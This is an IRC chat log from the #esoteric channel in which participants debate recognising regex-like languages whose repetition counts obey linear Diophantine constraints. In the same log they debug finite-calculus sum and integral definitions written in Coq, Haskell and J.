#esoteric :so all you need to so is compute 3x + 5y < 1268609896 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that proves it's subturing < 1268609929 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, maybe there ARE cases where we'd need to solve for it, i dont know < 1268609948 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :somewhere with like /...a{x}...b{y}.../ < 1268609966 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :where x and y are determined according to a diophantine equation < 1268610006 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric : /a{3x + 2y}b{x}c{y}/ < 1268610014 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe? < 1268610099 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but surely not, because thats refactorable. /a{z}b{z - 2y}c{y}/ => /a{z}b{w}c{z/2 + w/2}/ < 1268610116 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont think we'd ever have to _solve_ diphantines. < 1268610160 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or whatever. i think i did that wrong. < 1268610160 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm... actually i think we must, but not necessarily hard ones < 1268610166 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :example? < 1268610223 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a^{x+y} b^{2y+3z} c^{y+z} < 1268610267 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er wait < 1268610275 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :* a^{x+y} b^{2y+3z} c^{x+z} < 1268610278 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sheesh < 1268610368 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :* /a{x+y}b{2y+3z}c{x+z}/ < 1268610393 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a^(x+y) b^(2y+3x) c^(x+z) = a^w b^(2w + x) c^(x+z) = a^w b^q c^(q - 2w + z) < 1268610421 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric := a^w b^q c^(q - 2w) c* < 1268610454 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so you dont have to _solve_ a diophantine equation < 1268610483 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :note that you have to check that the original x,y, and z become positive integers < 1268610496 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or nonnegative < 1268610509 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, you just calculate q - 2w on the fly < 1268610513 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and if its negative you fail < 1268610523 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :actually no, you dont, right < 1268610526 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :my example was, however, too simple < 1268610544 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because if its negative, since you have + z, q - 2w + z can be any number < 1268610563 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so this is technically the language a*b*c*! < 1268610604 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :/a{2x+3y}b{5y+2z}c{7z+11w}/ < 1268610616 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268610618 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_now_ you're bloody going to have to solve something < 1268610655 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aa{x}aaa{y}bbbbb{y}bb{z}ccccccc{z}ccccccccccc{w} < 1268610674 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i forgot that for awkward linear integer equations, you need more variables than equations < 1268610741 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric := a{w}b{w/3-2x/3}c{7z+11w} = a{w}b{q}c{7z+33q+6x}} < 1268610791 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric := a{w}b{q}c{33q + n} = a{w}b{q}c{n} = a*b*c* < 1268610799 0 :alise!~alise@genld-216-213.t-mobile.co.uk JOIN :#esoteric < 1268610810 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: and are you _really_ sure all of those correspond to x,y,z,w nonnegative originally? < 1268610815 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it doesnt matter < 1268610826 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Remember to update the alise sighting counter over the next week... < 1268610835 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, wait, most of you guys don't know. Unit again... yeah. < 1268610836 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: _false_. there is no way you can get c, say < 1268610837 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :bye alise ::hug:: < 1268610849 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1268610866 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: take care < 1268610873 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: sure there is, because it contains a free variable (w), c{7z + 11w} is c* < 1268610877 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :see you < 1268610887 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: I can't take care of myself, I'm dysfunctional! That's why I'm there! ;-) < 1268610895 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, not in the form you give it, but in the equivalent form it does < 1268610900 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i think. < 1268610910 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: c is not a string parsed by my original form, that's the _point_ < 1268610917 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what < 1268610937 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what do you mean its not a string parsed by your original form < 1268610959 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :c is not a member of the language /a{2x+3y}b{5y+2z}c{7z+11w}/ < 1268610977 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because you damn well cannot get 1 = 7z+11w for nonnegative z,w < 1268610979 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh ok. ok then lets see < 1268611011 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er < 1268611020 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cackles evilly
< 1268611025 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets see < 1268611029 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :to get c < 1268611042 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :x = 0, y = 0, z = 0 < 1268611047 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :12:30:34 fax: maybe you shouldn't have mentioned your win by paradox in philosophy? bah, humbug :) don't have that < 1268611048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1268611054 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because a{2x + 3y} = a{0} < 1268611063 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and b{5y + 2z} = 0 < 1268611063 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um, augur, it's _obvious_ you cannot get c < 1268611073 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :win by paradox /is/ pretty philosophically dodgy < 1268611091 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you cannot get anything strictly between 0 and 7 < 1268611091 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :therefore you'd have to generate c{11w} = c < 1268611101 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so yes. indeed you are correct. < 1268611129 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, < 1268611132 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you'd get c^(11n) < 1268611142 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :for n in Z < 1268611169 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but again, oerjan, i dont think this would be an issue < 1268611177 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :since it doesnt involve _solving_ a diophanting < 1268611177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :12:51:16 <3 finite calculus < 1268611177 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's like arithmetic but cooler! < 1268611182 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in my book is says assume P(x1,...,xm) only takes prime values, then let p = |P(1,...,1)| and consider Q(y1,...,ym)=P(py1+1,...pym+1) < 1268611186 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :diophanting sounds like an awesome sexual act < 1268611189 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :;) < 1268611196 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION diophants alise
< 1268611249 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :then it says that Q(y1,...,ym) = P(1,...,1) = 0 (mod p), hence Q(y1,...,ym) = +/- p is Q is constant and so is P < 1268611371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what's the abstract algorithm for finite integrals? < 1268611373 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe I can J it up < 1268611436 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, I don't know what you mean.. symbolic antidifferentiation? < 1268611544 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268611562 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :for definite integral you can just sum up the values < 1268611564 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :because it's finite! < 1268611598 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :your sigma definition in al-jabr looked all higher order < 1268611630 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should do integrals as an adverb: so I get the derivative function, and two arguments < 1268611634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that's all < 1268611701 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: its linear time tho. < 1268611708 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :since you again dont have to _solve the linear equation < 1268611716 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i did my math wrong before < 1268611718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fixpoint Sigma n a f := < 1268611718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : match n with < 1268611718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | O => 0 < 1268611718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | S n => f a + Sigma n (a + 1) f < 1268611718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : end. < 1268611718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Definition Discrete_Definite_Integral a b f := < 1268611719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : match b - a with < 1268611719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | Zpos p => Sigma (nat_of_P p) a f < 1268611720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : | _ => 0 < 1268611720 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : end. < 1268611723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Is this just because Coq sucks at recursion? < 1268611726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Sorry for the flood.) < 1268611737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :With J it should be a cinch, since it is awesome at arrays. < 1268611743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What's a simpler general recursive definition? < 1268611754 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :essentially you can refactor the expression into a{6x}b{2y}c{5x-y-z} < 1268611755 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've no idea what nat_of_P is for starters. < 1268611761 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Z -> N? < 1268611809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So a (f integ) b, we do b - a, if it's negative then 0, otherwise... < 1268611814 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :? Sigma n recurses indefinitely. < 1268611822 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That doesn't really work. < 1268611827 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and so you just recognize 6x a's and, 2y b's, and for each, determine what x and y are, and if they're not integers, fail. < 1268611866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: is this some magic? < 1268611874 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1268611886 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sigma is that normal big-summation thing < 1268611908 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: if you are right, it only means i was not clever enough with my example - it should be possible to find one where the original variables are _not_ determined by the string parsed < 1268611916 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh, it decomposes n into n < 1268611920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's confusing, call it n' or something < 1268611940 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: im not sure if that even makes any sense < 1268611943 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which was my point with using more variables than equations in the first place < 1268611947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so Sigma n a f = sum (map (\_ -> f a) [0..n]) < 1268611956 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 to n inclusive? Yes. < 1268611960 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no wait < 1268611962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's ... hm < 1268611970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's just multiplication fax < 1268611976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh wait no it's not < 1268611981 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because if the variables range over Z, and exponents range over Z, then obviously we can just refactor and if at any more one of them fails to do so, we're done < 1268611986 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sum (map f [1..n]) < 1268611988 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :right? < 1268611990 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we're still not _solving_ diophantines < 1268612004 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also, holy fuck i have hand sanitizier that smells EXACTLY like pot < 1268612020 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe it's actually pot that works like hand sanitiser < 1268612025 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: the variables range over N < 1268612044 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :which should be obvious, since you don't have negative length string < 1268612045 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*s < 1268612048 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: Sigma n a f = sum (map f [1..n]) right? Just getting the range right < 1268612052 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, the exponents, at least. < 1268612067 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, theres no harm in ranging the variables over Z, so long as the exponents are always N < 1268612085 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: my notation is simply meant as an abbreviation for expanding the sums out < 1268612113 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise yeah < 1268612114 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. if you had some expression a{m}b{n}c{m-n} and you tried to recognize abb..., you would calculate that you need 2-3 = -1 c's < 1268612121 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which fails immediately because its a negative exponent < 1268612180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if. (y-x) > 0 do. +/ v (x+i. (y-x)) else. 0 end. < 1268612185 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: the thing is that with sufficiently complicated linear equations, you can get into trouble determining whether any of the several solutions is a natural number. in fact even integers might give enough trouble. < 1268612245 0 :alise_!~alise@genld-216-040.t-mobile.co.uk JOIN :#esoteric < 1268612245 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but theres no harm in letting the variables range over Z, because itll just force things to be refactored. e.g. a{m}b{n}c{m-n} is just a{m+n}b{m}c{n} < 1268612253 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: ok right gimme an example to test integ < 1268612263 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: but these arent EQUATIONS < 1268612266 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats the point, right < 1268612280 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :they're really just sums < 1268612294 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: i am talking about the equations i'm trying to turn into examples that show you that you cannot get away with not solving them :D < 1268612297 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, if you did lets say < 1268612339 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: plz < 1268612358 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you had something like a{x^2 + y^2}b{x}c{y} < 1268612363 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no even that < 1268612384 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: so this is my understanding of integrate < 1268612387 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :your def < 1268612417 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: im failing to see any situation where it actually _is_ a problem < 1268612430 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :integ f x y | y-x > 0 = sum (map f [(y-x)..(i-1)]) < 1268612432 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| otherwise = 0 < 1268612433 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268612439 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :where [m..n] is [m,m+1,...,n-1,n] < 1268612443 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: isthis right? < 1268612446 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*is this < 1268612477 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1268612551 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 integ f x y | y-x > 0 = sum (map f [(y-x)..(i-1)]) < 1268612551 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 | otherwise = 0 < 1268612551 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 * alise (~alise@genld-216-213.t-mobile.co.uk) Quit (Ping timeout: 240 seconds) < 1268612551 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 where [m..n] is [m,m+1,...,n-1,n] < 1268612551 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :is that your def? < 1268612557 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268612571 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 integ f x y | y-x > 0 = sum (map f [x..(y-x)]) < 1268612572 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 | otherwise = 0 < 1268612572 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 * alise (~alise@genld-216-213.t-mobile.co.uk) Quit (Ping timeout: 240 seconds) < 1268612572 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :23:20 where [m..n] is [m,m+1,...,n-1,n] < 1268612573 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that's not right... < 1268612602 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise use the paper instead of my code! < 1268612603 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok so we loop (y-x) times, first value to the function is x < 1268612608 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's much clearer, and all my stuff is copying it exactly < 1268612610 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: no :) < 1268612633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so < 1268612633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :i.(y-x) < 1268612633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yields a list starting at 0 of (y-x) in length < 1268612633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :x + i. (y-x) < 1268612633 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok, that's right < 1268612634 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so then we u on it < 1268612634 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :and +/ < 1268612636 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if. (y-x)>0 do. +/u x+i.y-x else. 0 end. < 1268612642 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :this is right, so why do i get domain errors < 1268612650 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268612653 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ehh just gimme a dead simple example to test :)) < 1268612690 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : 3 (id integ) 4 < 1268612690 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :|domain error < 1268612690 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :| 3 (id integ)4 < 1268612692 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :there is no damn reason for that < 1268612693 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :example of waht? < 1268612697 0 :cheater3!~cheater@ip-80-226-20-163.vodafone-net.de JOIN :#esoteric < 1268612698 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :your finite integ < 1268612717 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: what about /a{256*x}a{3*y}b{y}b{256*z}/ < 1268612718 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :what's going on? < 1268612731 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :ok seriously my definition is right < 1268612733 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :myabe the if is the problem < 1268612749 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oejan, what about it? < 1268612749 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(trying to find an example based on the brainfuck constant algorithm trickeries < 1268612750 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1268612753 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268612763 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: can you refactor that? < 1268612772 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :recognize some number of a's, divide by 256, if thats not an int, fail < 1268612776 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh i see < 1268612779 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh my lets see :x < 1268612801 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"integ f x y | y-x > 0 = sum (map f [x..(y-x)])" <<< you go from x to y-x? so y's like 2x+offset? < 1268612809 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i mean not that i have any idea what that's about < 1268612877 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :finite integration < 1268612881 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :my j definition is breaking < 1268612882 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fix it :) < 1268612903 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :integ =: adverb define < 1268612904 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if. (y-x)>0 do. +/u x+i.y-x else. 0 end. < 1268612904 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268613000 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, first, w must be a multiple of 3 < 1268613005 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ew < 1268613008 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er < 1268613015 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the number of a's must be a multiple of 3 < 1268613023 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: incorrect < 1268613027 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, correct < 1268613032 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, incorrect < 1268613032 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION downloads j
< 1268613036 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan < 1268613048 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :it is correct < 1268613051 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and let me prove to you why < 1268613052 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :256 is not divisible by 3 < 1268613057 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :fax: good idea, watch out for the installer it fucks your home directory (ok well adds a directory or two to it) < 1268613061 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that is irrelevant to the point < 1268613066 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :you can specify a different dir but make sure you can write in it < 1268613066 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x is not used anywhere else < 1268613068 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: how do you apply an adverb? :P < 1268613072 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :be quiet, oerjan < 1268613073 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and listen < 1268613098 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: no it is not, you can add 256 a's to any solution and get a new one, which is not a multiple of 3 if the original is < 1268613104 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a^(256x + 3y) b^(y + 256x) = a^w b^(w/3 - 256x - 256w) < 1268613118 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION realizes how much I have forgotten when given a blank window
< 1268613135 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :er, 256x/3 < 1268613135 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268613147 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :- 256z < 1268613148 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268613148 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :not w < 1268613149 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sorry. < 1268613177 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: how do i apply that to a function and two data arguments? < 1268613191 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a^w b^(w/3 - 256x/3 - 256z) < 1268613200 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i can't just do "x function integ y" < 1268613203 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: x (func integ) y < 1268613207 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh. < 1268613207 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :produces a domain error, helpfully < 1268613209 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i can huh < 1268613213 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :no matter what you plug in < 1268613223 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :ah okay, is that the problem? < 1268613233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: lol < 1268613233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :its just like x +/ y < 1268613233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :*it's < 1268613233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :here's its pal deriv < 1268613233 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric : deriv =: adverb define < 1268613234 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :u (y+1) - u y < 1268613234 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268613235 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that one actually works < 1268613247 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well you might be right actually :) < 1268613258 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cackles evilly
< 1268613259 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: what that integ produces a domain error all the time? < 1268613268 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yes. i don't think the algorithm-if-it-worked has been translated incorrectly < 1268613281 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :alise_: i thought there had to be special syntax for when it's letters and not operator letters, exactly because it produced a domain error < 1268613292 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well, (foo deriv) x works so < 1268613295 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :then again why would that give me a domain error < 1268613299 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well exactly < 1268613310 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :j comes with a debugger, I think i'll try that < 1268613324 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fucking hell what's the identity < 1268613340 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :if i can find it lol < 1268613383 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :id v 3 : (,'y') < 1268613389 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :that is ... not helpful < 1268613403 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ah what the FUCK < 1268613417 0 :cheater3!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268613417 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :id =: monad : 'x' -- this is wrong < 1268613421 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :id =: monad : 'y' -- this works < 1268613428 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268613430 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268613431 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric 